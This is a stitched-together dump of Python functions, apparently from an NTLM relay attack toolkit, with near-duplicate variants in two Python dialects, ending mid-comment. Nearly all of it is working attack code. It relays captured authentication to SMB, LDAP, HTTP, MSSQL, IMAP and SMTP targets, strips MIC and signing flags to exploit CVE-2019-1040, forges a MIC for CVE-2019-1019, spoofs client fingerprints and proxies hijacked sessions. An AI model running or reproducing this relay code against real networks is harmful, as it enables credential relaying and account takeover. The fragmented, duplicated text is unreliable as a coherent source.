def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security = True) self.client.set_timeout(60) except Exception as e: print("Connection against target %s FAILED" % self.target) print(str(e)) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage)) elif messageType == 3: authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData()) if errorCode != STATUS_SUCCESS: # print("[-] Authenticating against %s FAILED" % self.target) self.do_AUTHHEAD('NTLM') constants.authentication_succeed = False else: # print("[+] Authentication SUCCEED") constants.authentication_succeed = True executeCmd = doAttack(self.client, self.server.command) constants.outputCmd = executeCmd.run() constants.smb_client = self.client # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() self.server.server_close() self.server.shutdown()
def getKerberosType3(cipher, sessionKey, auth_data): negTokenResp = SPNEGO_NegTokenResp(auth_data) # If DCE_STYLE = FALSE #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0] try: krbError = KerberosError(packet=decoder.decode( negTokenResp['ResponseToken'][15:], asn1Spec=KRB_ERROR())[0]) except Exception: pass else: raise krbError ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0] cipherText = ap_rep['enc-part']['cipher'] # Key Usage 12 # AP-REP encrypted part (includes application session # subkey), encrypted with the application session key # (Section 5.5.2) plainText = cipher.decrypt(sessionKey, 12, cipherText) encAPRepPart = decoder.decode(plainText, asn1Spec=EncAPRepPart())[0] cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]() sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets()) sequenceNumber = int(encAPRepPart['seq-number']) encAPRepPart['subkey'].clear() encAPRepPart = encAPRepPart.clone() now = datetime.datetime.utcnow() encAPRepPart['cusec'] = now.microsecond encAPRepPart['ctime'] = KerberosTime.to_asn1(now) encAPRepPart['seq-number'] = sequenceNumber encodedAuthenticator = encoder.encode(encAPRepPart) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None) ap_rep['enc-part'].clear() ap_rep['enc-part']['etype'] = cipher.enctype ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator resp = SPNEGO_NegTokenResp() resp['ResponseToken'] = encoder.encode(ap_rep) return cipher, sessionKey2, resp.getData()
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(authenticateMessageBlob) authData = respToken2.getData() else: authData = str(authenticateMessageBlob) if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob signingKey = None if self.serverConfig.remove_target: # Trying to exploit CVE-2019-1019 # Discovery and Implementation by @simakov_marina respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = respToken2['ResponseToken'] errorCode, signingKey = self.netlogonSessionKey(authData) # Recalculate MIC res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] authData = respToken2.getData() if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) if signingKey: logging.info("Enabling session signing") self.session._SMBConnection.set_session_key(signingKey) return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) if self.body is not None: headers = { 'Authorization': 'NTLM %s' % auth, "Content-Type": "text/xml" } self.session.request('POST', self.path, self.body, headers=headers) else: headers = {'Authorization': 'NTLM %s' % auth} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED else: LOG.info( 'HTTP server returned error code %d, treating as a successful login' % res.status) #Cache this self.lastresult = res.read() return None, STATUS_SUCCESS
def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = str(negotiateMessage) sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken']
def do_ntlm_auth(self, token, authenticateMessage): #For some attacks it is important to know the authenticated username, so we store it self.authUser = authenticateMessage['user_name'] #TODO: What is this 127.0.0.1 doing here? Maybe document specific use case if authenticateMessage['user_name'] != '' or self.target[ 1] == '127.0.0.1': respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': try: result = self.client.sendAuth( token) #Result is a boolean if result: return True else: logging.error( "HTTP NTLM auth against %s as %s FAILED" % (self.target[1], self.authUser)) return False except Exception, e: logging.error( "HTTP NTLM Message type 3 against %s FAILED" % self.target[1]) logging.error(str(e)) return False
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authData) sessionSetup['Buffer'] = authData packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status']
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS else: if result[ 'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': raise LDAPRelayClientException( 'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )' ) return None, STATUS_ACCESS_DENIED
def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 # Let's build a NegTokenInit with the NTLMSSP blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [ TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] blob['MechToken'] = str(negotiateMessage) sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) return respToken['ResponseToken'] return False
def getKerberosType3(cipher, sessionKey, auth_data): negTokenResp = SPNEGO_NegTokenResp(auth_data) # If DCE_STYLE = FALSE #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0] try: krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0]) except Exception: pass else: raise krbError ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0] cipherText = ap_rep['enc-part']['cipher'] # Key Usage 12 # AP-REP encrypted part (includes application session # subkey), encrypted with the application session key # (Section 5.5.2) plainText = cipher.decrypt(sessionKey, 12, cipherText) encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0] cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]() sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets()) sequenceNumber = int(encAPRepPart['seq-number']) encAPRepPart['subkey'].clear() encAPRepPart = encAPRepPart.clone() now = datetime.datetime.utcnow() encAPRepPart['cusec'] = now.microsecond encAPRepPart['ctime'] = KerberosTime.to_asn1(now) encAPRepPart['seq-number'] = sequenceNumber encodedAuthenticator = encoder.encode(encAPRepPart) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None) ap_rep['enc-part'].clear() ap_rep['enc-part']['etype'] = cipher.enctype ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator resp = SPNEGO_NegTokenResp() resp['ResponseToken'] = encoder.encode(ap_rep) return cipher, sessionKey2, resp.getData()
def getKerberosType3(cipher, sessionKey, auth_data): negTokenResp = SPNEGO_NegTokenResp(auth_data) # If DCE_STYLE = FALSE #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0] try: krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0]) except Exception, e: pass
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() if unpack('B', authenticateMessageBlob[:1] )[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob authMessage = NTLMAuthChallengeResponse() authMessage.fromString(token) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 token = authMessage.getData() with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS else: if result[ 'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': raise LDAPRelayClientException( 'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )' ) return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) self.session.putcmd(auth) typ, data = self.session.getreply() if typ == 235: self.session.state = 'AUTH' return None, STATUS_SUCCESS else: LOG.error('SMTP: %s' % ''.join(data)) return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) self.session.send(auth + imaplib.CRLF) typ, data = self.session._get_tagged_response(self.authTag) if typ == 'OK': self.session.state = 'AUTH' return None, STATUS_SUCCESS else: LOG.error('IMAP: %s' % ' '.join(data)) return None, STATUS_ACCESS_DENIED
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) sessionSetup['Data']['SecurityBlob'] = authData smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode
def sendAuth(self,authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob self.sendTDS(TDS_SSPI, token) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if TDS_LOGINACK_TOKEN in self.replies: #Once we are here, there is a full connection and we can #do whatever the current user has rights to do self.sessionData['AUTH_ANSWER'] = tds return None, STATUS_SUCCESS else: self.printReplies() return None, STATUS_ACCESS_DENIED
def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage): #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB respToken2 = SPNEGO_NegTokenResp(SPNEGO_token) token = respToken2['ResponseToken'] clientResponse = None if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': try: result = client.sendAuth(token) #Result is a boolean if result: errorCode = STATUS_SUCCESS else: logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser)) errorCode = STATUS_ACCESS_DENIED except Exception, e: logging.error("NTLM Message type 3 against %s FAILED" % self.target[1]) logging.error(str(e)) errorCode = STATUS_ACCESS_DENIED
def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage): #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB respToken2 = SPNEGO_NegTokenResp(SPNEGO_token) token = respToken2['ResponseToken'] clientResponse = None if self.target[0] == 'SMB': clientResponse, errorCode = client.sendAuth(SPNEGO_token,authenticateMessage) if self.target[0] == 'MSSQL': #This client needs a proper response code try: result = client.sendAuth(token) if result: #This contains a boolean errorCode = STATUS_SUCCESS else: errorCode = STATUS_ACCESS_DENIED except Exception, e: logging.error("NTLM Message type 3 against %s FAILED" % self.target[1]) logging.error(str(e)) errorCode = STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob self.session.sendBindType3(auth_data) try: req = DummyOp() self.session.request(req) except DCERPCException as e: if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e): return None, STATUS_SUCCESS elif 'rpc_s_access_denied' in str(e): return None, STATUS_ACCESS_DENIED else: LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e))) return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token).decode("ascii") headers = { 'Authorization': '%s %s' % (self.authenticationMethod, auth) } self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED else: LOG.info( 'HTTP server returned error code %d, treating as a successful login' % res.status) #Cache this self.lastresult = res.read() return None, STATUS_SUCCESS
def processSessionSetup(self, recvPacket): if self.isSMB2 is False: respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) smbCommand = SMBCommand(recvPacket['Data'][0]) if smbCommand['WordCount'] == 12: respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() respData = SMBSessionSetupAndX_Extended_Response_Data() # First of all, we should received a type 1 message. Let's answer it # NEGOTIATE_MESSAGE challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respData['NativeOS'] = '' respData['NativeLanMan'] = '' respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp = NewSMBPacket() resp['Flags1'] = SMB.FLAGS1_REPLY resp['Flags2'] = SMB.FLAGS2_NT_STATUS resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = 0 errorCode = STATUS_MORE_PROCESSING_REQUIRED resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Now we should've received a type 3 message authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username]['protocolClient'].session uid = smbClient.getSMBServer().get_uid() else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None resp = NewSMBPacket() resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY resp['Command'] = recvPacket['Command'] resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = uid resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff respData['NativeOS'] = '' respData['NativeLanMan'] = '' if uid == 0: resp['Data'] = '\x00\x00\x00' smbClient = None else: respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) return smbClient, username else: LOG.error('SOCKS: Can\'t handle standard security at the moment!') return None else: respSMBCommand = SMB2SessionSetup_Response() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] rawNTLM = False if unpack('B', securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: # Nope, do we know it? if MechTypes.has_key(mechType): mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) LOG.debug("Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr) # We don't know the token, we answer back again saying # we just support 